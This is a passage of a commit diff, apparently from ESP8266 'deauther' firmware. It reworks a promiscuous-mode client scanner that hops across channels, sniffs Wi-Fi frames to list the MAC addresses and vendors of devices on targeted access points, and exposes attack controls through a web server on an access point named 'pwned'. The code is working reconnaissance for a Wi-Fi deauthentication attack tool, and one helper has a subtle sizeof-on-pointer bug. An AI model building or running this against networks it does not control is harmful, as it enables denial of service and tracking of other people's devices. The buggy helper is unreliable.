curChannel = 0;
|
||||
|
||||
for(int i=0;i<apScan.results;i++){
|
||||
if(!intInArray(apScan.getAPChannel(i),channels)){
|
||||
channels[channelsNum] = apScan.getAPChannel(i);
|
||||
channelsNum++;
|
||||
}
|
||||
}
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.disconnect();
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_channel(apScan.getAPChannel(apScan.selected));
|
||||
wifi_set_channel(channels[curChannel]);
|
||||
wifi_promiscuous_enable(1);
|
||||
|
||||
Serial.println("set channel to "+(String)channels[curChannel]);
|
||||
curChannel++;
|
||||
}
|
||||
|
||||
bool ClientScan::stop(){
|
||||
long curTime = millis();
|
||||
if(curTime - startTime >= timeout*1000){
|
||||
if(curTime - startTime >= (timeout*1000)/channelsNum && curChannel<channelsNum){
|
||||
if(debug) Serial.println("changing to channel "+(String)channels[curChannel]);
|
||||
wifi_set_channel(channels[curChannel]);
|
||||
curChannel++;
|
||||
}
|
||||
else if(curTime - startTime >= timeout*1000){
|
||||
sniffing = false;
|
||||
wifi_promiscuous_enable(0);
|
||||
|
||||
/*for(int i=0;i<results && i<maxResults;i++){
|
||||
Serial.print(i);
|
||||
Serial.print(": ");
|
||||
Serial.print(getClientPackets(i));
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientVendor(i));
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientMac(i).toString());
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientSelected(i));
|
||||
Serial.println("");
|
||||
}*/
|
||||
|
||||
|
||||
Serial.println();
|
||||
Serial.println("stopping client scan");
|
||||
if(debug){
|
||||
for(int i=0;i<results && i<maxResults;i++){
|
||||
Serial.print(i);
|
||||
Serial.print(": ");
|
||||
Serial.print(getClientPackets(i));
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientVendor(i));
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientMac(i).toString());
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientSelected(i));
|
||||
Serial.println("");
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len){
|
||||
if(sniffing && len>15){
|
||||
if(sniffing && len>27){
|
||||
from.set(buf[16],buf[17],buf[18],buf[19],buf[20],buf[21]);
|
||||
to.set(buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]);
|
||||
|
||||
if(target.compare(from)){
|
||||
if(buf[22] == 0xFF && buf[23] == 0xFF && buf[24] == 0xFF && buf[25] == 0xFF && buf[26] == 0xFF && buf[27] == 0xFF){
|
||||
Serial.print(len);
|
||||
Serial.print(" : ");
|
||||
PrintHex8(buf, len);
|
||||
Serial.println("");
|
||||
for(int i=0;i<apScan.results;i++){
|
||||
if(apScan.isSelected(i)){
|
||||
if(apScan.aps._get(i).compare(from)){
|
||||
int clientNum = clients.getNum(to);
|
||||
if(clientNum == -1 && results < maxResults){
|
||||
data_getVendor(to._get(0),to._get(1),to._get(2)).toCharArray(vendors[results],9);
|
||||
results++;
|
||||
packets[clients.add(to)]++;
|
||||
}else packets[clientNum]++;
|
||||
if(debug){
|
||||
Serial.print("found: ");
|
||||
from._print();
|
||||
Serial.print(" => ");
|
||||
to._print();
|
||||
Serial.println("");
|
||||
}
|
||||
}
|
||||
}
|
||||
int clientNum = clients.getNum(to);
|
||||
if(clientNum == -1 && results < maxResults){
|
||||
data_getVendor(to._get(0),to._get(1),to._get(2)).toCharArray(vendors[results],9);
|
||||
results++;
|
||||
packets[clients.add(to)]++;
|
||||
}else packets[clientNum]++;
|
||||
|
||||
/*
|
||||
Serial.println("found:");
|
||||
from._print();
|
||||
Serial.print(" => ");
|
||||
to._print();
|
||||
Serial.println("");*/
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -85,9 +105,14 @@ int ClientScan::getClientPackets(int num){ return packets[clients.getNum(clients
|
||||
String ClientScan::getClientVendor(int num){ return vendors[num]; }
|
||||
Mac ClientScan::getClientMac(int num){ return clients._get(num); }
|
||||
bool ClientScan::getClientSelected(int num){ return selected[num]; }
|
||||
|
||||
int ClientScan::getFirstClient(){
|
||||
for(int i=0;i<maxResults;i++){
|
||||
if(getClientSelected(i)) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
String ClientScan::getResults(){
|
||||
|
||||
if(debug) Serial.print("getting client scan result JSON ");
|
||||
String json = "{ \"clients\":[";
|
||||
for(int i=0;i<results && i<maxResults;i++){
|
||||
json += "{";
|
||||
@@ -101,6 +126,7 @@ String ClientScan::getResults(){
|
||||
if((i!=results-1) && (i!=maxResults-1)) json += ",";
|
||||
}
|
||||
json += "] }";
|
||||
if(debug) Serial.println("done ");
|
||||
return json;
|
||||
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
#define maxResults 80
|
||||
|
||||
#include "ESP8266WiFi.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
#include "APScan.h"
|
||||
@@ -17,7 +17,9 @@ extern APScan apScan;
|
||||
extern NameList nameList;
|
||||
|
||||
extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third);
|
||||
extern bool intInArray(int num, int _array[]);
|
||||
extern void PrintHex8(uint8_t *data, uint8_t length);
|
||||
extern const bool debug;
|
||||
|
||||
class ClientScan{
|
||||
public:
|
||||
@@ -35,6 +37,7 @@ class ClientScan{
|
||||
String getClientVendor(int num);
|
||||
Mac getClientMac(int num);
|
||||
bool getClientSelected(int num);
|
||||
int getFirstClient();
|
||||
|
||||
int results = 0;
|
||||
int timeout = 0;
|
||||
@@ -45,7 +48,6 @@ class ClientScan{
|
||||
|
||||
Mac from;
|
||||
Mac to;
|
||||
Mac target;
|
||||
|
||||
Mac broadcast;
|
||||
Mac zero;
|
||||
@@ -54,6 +56,10 @@ class ClientScan{
|
||||
char vendors[maxResults][9];
|
||||
int packets[maxResults];
|
||||
bool selected[maxResults];
|
||||
|
||||
int channels[13];
|
||||
int channelsNum = 0;
|
||||
int curChannel = 0;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#ifndef Mac_h
|
||||
#define Mac_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <Arduino.h>
|
||||
|
||||
class Mac
|
||||
{
|
||||
@@ -20,4 +20,4 @@ class Mac
|
||||
uint8_t adress[6];
|
||||
};
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
||||
@@ -17,8 +17,9 @@ int MacList::add(Mac adr){
|
||||
macAdrs[num].setMac(adr);
|
||||
num++;
|
||||
return num-1;
|
||||
}else return -1;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
Mac MacList::_get(int i){
|
||||
@@ -54,4 +55,4 @@ void MacList::remove(Mac adr){
|
||||
macAdrs[i].set(0x00,0x00,0x00,0x00,0x00,0x00);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -44,8 +44,8 @@ void NameList::save(){
|
||||
}
|
||||
|
||||
void NameList::add(Mac client, String name){
|
||||
if(clients.add(client)) len++;
|
||||
else Serial.println("WARNING: name list is full!");
|
||||
if(clients.add(client) >= 0) len++;
|
||||
else if(clients.getNum(client) < 0) Serial.println("WARNING: name list is full!");
|
||||
uint8_t _buf[nameLength];
|
||||
name.getBytes(_buf,nameLength);
|
||||
for(int i=0;i<nameLength;i++){
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#ifndef NameList_h
|
||||
#define NameList_h
|
||||
|
||||
#include "EEPROM.h"
|
||||
#include <EEPROM.h>
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
|
||||
#define romAdr 0
|
||||
#define listLength 50
|
||||
#define nameLength 32
|
||||
#define listLength 30
|
||||
#define nameLength 18
|
||||
#define eepromSize 4096
|
||||
|
||||
/*
|
||||
@@ -15,6 +15,7 @@ The NameList holds and saves all your custom device names in the EEPROM.
|
||||
You can modify the length above, but be careful the EEPROM size is limited.
|
||||
You may have to call nameList.clear() when uploading for the first time.
|
||||
*/
|
||||
extern const bool debug;
|
||||
|
||||
class NameList
|
||||
{
|
||||
|
||||
@@ -23012,4 +23012,11 @@ void getRandomVendorMac(uint8_t *buf){
|
||||
for(int h=0;h<3;h++) buf[h+3] = random(255);
|
||||
}
|
||||
|
||||
bool intInArray(int num, int _array[]){
|
||||
for(int i=0;i<sizeof(_array);i++){
|
||||
if(_array[i] == num) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
@@ -16,6 +16,7 @@ extern "C" {
|
||||
|
||||
const static char *ssid = "pwned";
|
||||
const static char *password = "deauther"; //must have at least 8 characters
|
||||
const bool debug = true;
|
||||
|
||||
ESP8266WebServer server(80);
|
||||
|
||||
@@ -36,6 +37,7 @@ void sniffer(uint8_t *buf, uint16_t len){
|
||||
}
|
||||
|
||||
void startWifi(){
|
||||
Serial.println("starting WiFi AP");
|
||||
WiFi.mode(WIFI_STA);
|
||||
wifi_set_promiscuous_rx_cb(sniffer);
|
||||
WiFi.softAP(ssid, password); //for an open network without a password change to: WiFi.softAP(ssid);
|
||||
@@ -62,7 +64,7 @@ void setup(){
|
||||
Serial.println("starting...");
|
||||
|
||||
startWifi();
|
||||
attack.generate(-1);
|
||||
attack.generate();
|
||||
|
||||
/* ========== Web Server ========== */
|
||||
|
||||
@@ -94,9 +96,7 @@ void setup(){
|
||||
|
||||
void loop(){
|
||||
if(clientScan.sniffing){
|
||||
if(clientScan.stop()){
|
||||
startWifi();
|
||||
}
|
||||
if(clientScan.stop()) startWifi();
|
||||
} else{
|
||||
server.handleClient();
|
||||
attack.run();
|
||||
@@ -130,7 +130,7 @@ void selectAP(){
|
||||
|
||||
//==========Client-Scan==========
|
||||
void startClientScan(){
|
||||
if(server.hasArg("time") && apScan.selected > -1 && !clientScan.sniffing) {
|
||||
if(server.hasArg("time") && apScan.getFirstTarget() > -1 && !clientScan.sniffing) {
|
||||
server.send(200, "text/json", "true");
|
||||
clientScan.start(server.arg("time").toInt());
|
||||
attack.stop(0);
|
||||
@@ -160,9 +160,9 @@ void sendAttackInfo(){ server.send ( 200, "text/json", attack.getResults()); }
|
||||
void startAttack(){
|
||||
if(server.hasArg("num")) {
|
||||
int _attackNum = server.arg("num").toInt();
|
||||
if(apScan.selected > -1 || _attackNum == 3){
|
||||
if(apScan.getFirstTarget() > -1 || _attackNum == 2){
|
||||
attack.start(server.arg("num").toInt());
|
||||
server.send ( 200, "text/json", "true");
|
||||
}
|
||||
}else server.send ( 200, "text/json", "false");
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user